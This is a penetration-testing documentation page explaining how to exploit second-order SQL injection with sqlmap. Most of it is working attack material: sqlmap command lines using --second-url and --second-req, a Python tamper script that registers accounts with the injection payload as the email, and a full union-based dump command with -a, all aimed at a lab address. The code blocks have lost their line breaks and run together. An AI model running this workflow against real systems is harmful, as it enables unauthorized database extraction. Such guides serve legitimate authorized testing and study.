> For the complete documentation index, see [llms.txt](https://pwc-3.gitbook.io/pwc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pwc-3.gitbook.io/pwc/ji-shu/webpentest2/untitled-25/sqlmap/second-order-injection-sqlmap.md).

# Second Order Injection - SQLMap

**SQLMap can exploit Second Order SQLis.** You need to provide:

* The **request** where the **sqlinjection payload** is going to be saved
* The **request** where the **payload** will be **executed**

The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file.

**Simple second order example:**

```
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"​sqlmap -r login.txt -p username --second-req details.txt
```

In several cases **this won't be enough** because you will need to **perform other actions** apart from sending the payload and accessing a different page.

When this is needed you can use a **sqlmap tamper**. For example the following script will register a new user **using sqlmap payload as email** and logout.

```
​import reimport requestsfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL​def dependencies():    pass​def login_account(payload):    proxies = {'http':'http://127.0.0.1:8080'}    cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}​    params = {"username":"asdasdasd", "email":payload, "password":"11111111"}    url = "http://10.10.10.10/create.php"    pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)​    url = "http://10.10.10.10/exit.php"    pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)​def tamper(payload, **kwargs):    headers = kwargs.get("headers", {})    login_account(payload)    return payload
```

A **SQLMap tamper is always executed before starting a injection try with a payload** **and it has to return a payload**. In this case we don't care about the payload but we care about sending some requests, so the payload isn't changed.

So, if for some reason we need a more complex flow to exploit the second order SQL injection like:

* Create an account with the SQLi payload inside the "email" field
* Logout
* Login with that account (login.txt)
* Send a request to execute the SQL injection (second.txt)

**This sqlmap line will help:**

```
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
```